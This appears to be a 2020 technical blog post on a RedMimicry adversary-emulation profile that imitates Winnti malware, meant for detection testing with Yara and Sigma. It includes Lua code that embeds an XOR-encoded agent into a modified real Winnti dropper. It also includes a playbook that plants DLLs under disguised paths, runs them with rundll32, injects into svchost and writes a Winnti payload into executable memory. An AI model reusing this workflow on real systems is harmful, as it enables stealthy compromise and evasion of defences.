6 minutes
RedMimicry Prototype - Winnti Emulation
The RedMimicry Platform Prototype
This post describes an early RedMimicry prototype and does not reflect the current state of the product.
The RedMimicry platform prototype is built in a modular way in order to provide a good framework for the implementation of emulation profiles.
Emulation profiles can be divided into the following components:
- payload delivery and staging
- command & control traffic encoding
- automated breach emulation script
This RedMimicry release aims to emulate the behavior of the Winnti malware from around 2015.
Naturally not all behavior is exactly replicated but the profile implemented here is hopefully doing a decent job.
Dropper
There have been a multitude of different dropper for Winnti over the years.
One of the more distinct mechanisms observed is a configuration where an intermediate dropper is used to start the Winnti dropper itself
which then injects Winnti into a svchost process.
OSINT describing this behavior:
This behavior is emulated as shown below.
In order to provide a realistic emulation of this dropper process I looked for an original Winnti dropper with a code cave which is large enough to hold the unstaged RedMimicry agent payload. The original payload of the Winnti dropper is simply replaced with a properly encoded version of the RedMimicry agent.
A few small modifications had to be made to the dropper to properly execute the embedded agent.
Practically speaking this part of the emulation profile consists of a (slightly modified) original Winnti dropper and the following LUA script to integrate the dropper with the RedMimicry server.
-- 180004168 31c9 xor ecx, ecx {0x0}
-- 18000416a 48c7c241414141 mov rdx, 0x41414141
-- 180004171 41b800100000 mov r8d, 0x1000
-- 180004177 41b940000000 mov r9d, 0x40
-- 18000417d ff1595ee1600 call qword [rel VirtualAlloc]
-- 180004183 41b841414141 mov r8d, 0x41414141
local jumpInPayloadMarker = "31c9" ..
"48c7c241414141" ..
"41b800100000" ..
"41b940000000" ..
"ff1595ee1600" ..
"41b841414141"
local configMarker = "125db7b8-3002-4da8-915e-fbcc0280aa53AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
local payloadCaveLength = 1378817
local config = "redmimicry.com - actor emulation and breach simulation tool"
function embed_payload(template, payloadId)
payload = build_payload("injectable_core", payloadId)
payloadKey = random_bytes(1)
pattern = "0289e00c-52c9-4f1b-b865-f637074daf1e" .. string.rep("A", payloadCaveLength - 36)
payload = pad(payload, string.len(pattern) - 1)
encryptedPayload = payloadKey .. XorIncNs(payloadKey, payload)
template = replace(template, pattern, encryptedPayload)
local jmpInPayload = string.fromhex(jumpInPayloadMarker)
jmpInPayload = replace(jmpInPayload, "AAAA", struct.pack("<I4", payloadCaveLength - 1))
template = replace(template, string.fromhex(jumpInPayloadMarker), jmpInPayload)
configKey = string.fromhex("99")
template = replace(template, configMarker, XorInc(configKey, pad(config, string.len(configMarker))))
return template
end
The dropper generated this way is used for sigcmm-2.4.dll and gthread-3.6.dll. AV software with proper signature coverage of Winnti artifacts should detect this either as RbDoor or directly as Winnti.
A Yara rule to match this payload is available at redmimicry_winnti_2015.yar
Command & Control Traffic Encoding
Winnti has a very particular custom command and control traffic encoding.
The application layer encoding has been implemented in a publicly available Winnti Nmap Script.
RedMimicry utilizes a reimplementation of the application layer encoding in order to provide a realistic emulation of the network traffic.
A Winnti HELO payload is prepended to each transaction.
Automated Breach Emulation
Probably the heart of RedMimicry is the automated breach emulation engine.
Emulation profiles contain one or multiple LUA scripts defining the behavior of the agent after an automated breach emulation has been started.
The Winnti emulation script takes care of emulating the staging process of the Winnti implant and eventually injecting an agent payload into the svchost.exe -k netsvcs process.
After the staging is completed a real Winnti payload is written (but not executed) to read-write-executable memory in the svchost.exe process.
Additionally a registry entry is created at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\HTMLHelp\data
and an event object is created at Global\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}
.
The following script implements the Automated Breach Emulation for Winnti.
function start_assessment()
-- set sleep time to 5 sec
SetSleep(5, 3)
-- check for elevated context
hostinfo = Interrogate()
if hostinfo == FAILURE then
return FAILURE
end
if hostinfo.elevated ~= true then
Log("", "The agent must be run from an elevated context for this playbook!")
return FAILURE
end
-- drop winnti intermediate dropper dll
local payloadIdDropper0 = math.random(0xfffffffe) + 1
Log("T1027", "Building encoded payload with Winnti dropper")
if Upload("C:\\Windows\\Temp", "gthread-3.6.dll", BuildPayload("winnti", payloadIdDropper0)) == FAILURE then
return FAILURE
end
-- drop winnti dropper dll
Mkdir("C:\\Program Files\\VMware\\VMware Tools")
Log("T1027", "Building encoded payload with Winnti dropper")
local payloadIdDropper1 = math.random(0xfffffffe) + 1
if Upload("C:\\Program Files\\VMware\\VMware Tools", "sigcmm-2.4.dll", BuildPayload("winnti", payloadIdDropper1)) == FAILURE then
return FAILURE
end
-- start intermediate dropper
Log("T1085", "Starting Winnti intermediate dropper with rundll32.exe")
if Shell("C:\\Windows\\Temp", "rundll32.exe gthread-3.6.dll,XML") == FAILURE then
return FAILURE
end
-- wait for connection of intermediate dropper
local agentIdDropper0 = GetAgentIdFromPayloadId(payloadIdDropper0)
local i = 0
while agentIdDropper0 == FAILURE do
if i > 30 then
return FAILURE
end
Sleep(10)
agentIdDropper0 = GetAgentIdFromPayloadId(payloadIdDropper0)
i = i + 1
end
-- kill assessment agent
KillAgent()
-- set sleep for intermediate dropper
SetSleepD(5, 3, agentIdDropper0)
-- drop intermediate dropper batch script
if UploadD("C:\\Windows\\Temp", "tmp.bat", ReadFile("script.bat"), agentIdDropper0) == FAILURE then
return FAILURE
end
-- execute bat file
LogD("T1064", "Using script to start Winnti dropper", agentIdDropper0)
if CreateProcessD("C:\\Windows\\Temp\\tmp.bat", agentIdDropper0) == FAILURE then
return FAILURE
end
-- wait for winnti dropper connection
local agentIdDropper1 = GetAgentIdFromPayloadId(payloadIdDropper1)
i = 0
while agentIdDropper1 == FAILURE do
if i > 30 then
return FAILURE
end
Sleep(10)
agentIdDropper1 = GetAgentIdFromPayloadId(payloadIdDropper1)
i = i + 1
end
-- set sleep for winnti dropper agent down
SetSleepD(5, 3, agentIdDropper1)
-- kill intermediate dropper
KillAgentD(agentIdDropper0)
-- inject agent into svchost.exe -k netsvcs
local svchost_pid = -1
procs = PsD(agentIdDropper1)
if procs == FAILURE then
return FAILURE
end
for k,v in pairs(procs) do
if v.commandline == "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p" then
svchost_pid = v.pid
break
elseif v.commandline == "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" then
svchost_pid = v.pid
break
elseif v.commandline == "C:\\Windows\\system32\\svchost.exe -k netsvcs -p" then
svchost_pid = v.pid
break
elseif v.commandline == "C:\\Windows\\system32\\svchost.exe -k netsvcs" then
svchost_pid = v.pid
break
end
end
if svchost_pid == -1 then
return FAILURE
end
local payloadIdWinnti = math.random(0xfffffffe) + 1
if InjectAgentD(svchost_pid, payloadIdWinnti, agentIdDropper1) == FAILURE then
return FAILURE
end
local agentIdWinnti = GetAgentIdFromPayloadId(payloadIdWinnti)
i = 0
while agentIdWinnti == FAILURE do
if i > 30 then
return FAILURE
end
Sleep(10)
agentIdWinnti = GetAgentIdFromPayloadId(payloadIdWinnti)
i = i + 1
end
-- kill injector agent
KillAgentD(agentIdDropper1)
-- set sleep to 5 sec for winnti agent
SetSleepD(5, 3, agentIdWinnti)
-- write winnti payload to rwx memory
WriteRWXD(ReadFile("winnti.bin"), agentIdWinnti)
-- create event
CreateEventD("Global\\BFE_Notify_Event_{65a097fe-6102-446a-9f9c-55dfc3f411016}", agentIdWinnti)
-- create registry key
CreateRegistryKeyD("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\HTMLHelp", "data", "aHR0cHM6Ly9yZWRtaW1pY3J5LmNvbQ==", agentIdWinnti)
return SUCCESS
end
Many of the events triggered on the endpoint can be matched with relatively simple Sigma rules.
Limitations
Of course this emulation is not perfect and several aspects like the Winnti kernel mode component and the peer to peer traffic functionality are not emulated.
RedMimicry does not support forward connecting command & control protocols, thus the agent is beaconing to the server while the real Winnti behaves like a bind shell.
Demo
1123 Words
2020-06-24 10:59 +0000